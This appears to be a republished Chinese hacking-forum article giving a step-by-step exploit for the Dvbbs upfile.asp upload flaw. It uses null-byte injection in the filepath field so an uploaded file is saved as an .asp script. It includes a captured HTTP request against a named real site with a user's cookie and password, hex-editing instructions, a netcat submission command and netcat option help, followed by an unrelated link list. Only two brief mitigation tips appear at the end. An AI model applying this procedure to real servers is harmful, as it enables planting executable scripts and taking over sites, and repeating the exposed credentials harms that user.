asp之上传漏洞终结篇
作者:阁下贵姓 | 来源:互联网 | 2022-11-19 16:59
asp之上传漏洞终结篇
收藏关于上传漏洞的文章,最近一直遇到这个麻烦,
作者:szjwwwww
出自:黑鹰基地论坛
http://www.3800cc.com
一、写在前面
***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
NC(Netcat)
用于提交 数据包
DOS界面下运行:
NC -vv www.***.com 80<1.txt
-vv: 回显
80: www端口
1.txt: 就是你要发送的数据包
(更多使用方法请查看本区的帖子)
WSE(WSockExpert)
对本机端口的监视,抓取IE提交的数据包
(不会用的就自己到网上搜资料N多)
二、漏洞原理
下面例子假设的前提
www主机: www.***.com;
bbs路径 : /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看Dvbbs的upfile.asp文件,没有必要全部看懂
upfile是通过生成一个form表上传,
用到的变量:
filepath 默认值uploadface 属性hiden
act 默认值upload 属性hiden
file1 就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt
-------------------------------------------------------------------------
我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道
char data[]="bbs"
这个data数组长度是4: b b s \0
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp\0"
我们在2004.09.24.08.24传的文件就会发生变化
没有改时:
http://www.***.com/bbs/uploadface/200409240824.jpg
用我们构造的filepath时:
http://www.***.com/newmm.asp\0/200409240824.jpg
这样当服务器接收filepath数据时,检测到newmm.asp后面的\0
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:\1.asp
就保存成: http://www.***.com/newmm.asp
三、后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。
就算他加N个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!
四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746
监听外部主机
NC [-options] hostname port[s] [ports] ...
监听本地主机
NC -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
详细实例:
---------------------------------------------------------------------------------
一、WSE抓包结果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
COOKIE: ASPSESSIOnIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltfilepath"
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上传
-----------------------------7d423a138d0278--
---------------------------------------------------------------------------------
二、UltraEdit打开1.txt改数据:
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
/newmm.asp█ <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......
三、重新计算COOKIEs长度,然后nc提交
Nc -vv www.xin126.com 80 <1.txt
UltraEdit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H
其实你改的时候就直接再filepath的结尾
处加个00就OK了
计算COOKIEs长度===>你把fillepath改了之后、肯定是或+或—COOKIEs的长度变了
......
Host: www.xin126.com
Content-Length: 1969 <======就是这个
Connection: Keep-Alive
Cache-Control: no-cache
......
计算会吧?一个字母、数字就是1
对于上传漏洞提出的解决思路:(仅供参考)
1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)
2、加强对于\0的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就OK了
推荐阅读
-
本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ...
[详细]
蜡笔小新 2023-12-14 19:10:25
-
LVS实现负载均衡的原理LVS负载均衡负载均衡集群是LoadBalance集群。是一种将网络上的访问流量分布于各个节点,以降低服务器压力,更好的向客户端 ...
[详细]
蜡笔小新 2023-12-10 12:10:22
-
-
本文回顾了t-io 1.x版本的工程结构和性能数据,并介绍了t-io在码云上的成绩和用户反馈。同时,还提到了@openSeLi同学发布的t-io 30W长连接并发压力测试报告。最后,详细介绍了t-io 2.0.0版本的更新内容,包括更简洁的使用方式和内置的httpsession功能。 ...
[详细]
蜡笔小新 2023-12-14 10:17:48
-
http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ...
[详细]
蜡笔小新 2023-12-13 19:20:03
-
本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ...
[详细]
蜡笔小新 2023-12-13 17:08:24
-
本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ...
[详细]
蜡笔小新 2023-12-13 14:41:31
-
本文介绍了利用Visual Basic开发SAP接口程序的方法与原理,以及SAP R/3系统的特点和二次开发平台ABAP的使用。通过程序接口自动读取SAP R/3的数据表或视图,在外部进行处理和利用水晶报表等工具生成符合中国人习惯的报表样式。具体介绍了RFC调用的原理和模型,并强调本文主要不讨论SAP R/3函数的开发,而是针对使用SAP的公司的非ABAP开发人员提供了初步的接口程序开发指导。 ...
[详细]
蜡笔小新 2023-12-13 10:56:31
-
本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ...
[详细]
蜡笔小新 2023-12-12 16:36:00
-
本文总结了淘淘商城项目的功能和架构,并介绍了传统架构中遇到的session共享问题及解决方法。淘淘商城是一个综合性的B2C平台,类似京东商城、天猫商城,会员可以在商城浏览商品、下订单,管理员、运营可以在平台后台管理系统中管理商品、订单、会员等。商城的架构包括后台管理系统、前台系统、会员系统、订单系统、搜索系统和单点登录系统。在传统架构中,可以采用tomcat集群解决并发量高的问题,但由于session共享的限制,集群数量有限。本文探讨了如何解决session共享的问题。 ...
[详细]
蜡笔小新 2023-12-12 13:39:39
-
本文介绍了解决nginx启动报错epoll_wait() reported that client prematurely closed connection的方法,包括检查location配置是否正确、pass_proxy是否需要加“/”等。同时,还介绍了修改nginx的error.log日志级别为debug,以便查看详细日志信息。 ...
[详细]
蜡笔小新 2023-12-12 13:19:04
-
本文介绍了JSP内置对象之application的作用时间范围、可以在不同浏览器获取的特点,以及获取application对象的方法。通过示例代码展示了在JSP中设置和在servlet中获取application对象的步骤。对于学习JSP内置对象的读者来说,本文具有一定的参考价值。摘要长度为163字。 ...
[详细]
蜡笔小新 2023-12-12 10:39:56
-
在开发.net项目中,通过microsoft.ACE.oledb读取excel文件信息时,报错“未在本地计算机上注册“microsoft.ACE.oledb.12.0”提供程序”。本文提供了解决这个问题的方法,包括错误描述和代码示例。通过注册提供程序和修改连接字符串,可以成功读取excel文件信息。 ...
[详细]
蜡笔小新 2023-12-11 15:08:02
-
本文介绍了一个React Native新手在尝试将数据发布到服务器时遇到的问题,以及他的React Native代码和服务器端代码。他使用fetch方法将数据发送到服务器,但无法在服务器端读取/获取发布的数据。 ...
[详细]
蜡笔小新 2023-12-11 11:26:28
-
本文详细解答了如何在php文件中添加图片的问题,包括插入图片的代码、使用PHPword在载入模板中插入图片的方法,以及使用gd库生成不同类型的图像文件的示例。同时还介绍了如何生成一个正方形文件的步骤。希望对大家有所帮助。 ...
[详细]
蜡笔小新 2023-12-11 10:46:38
-
本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ...
[详细]
蜡笔小新 2023-12-10 12:00:40
-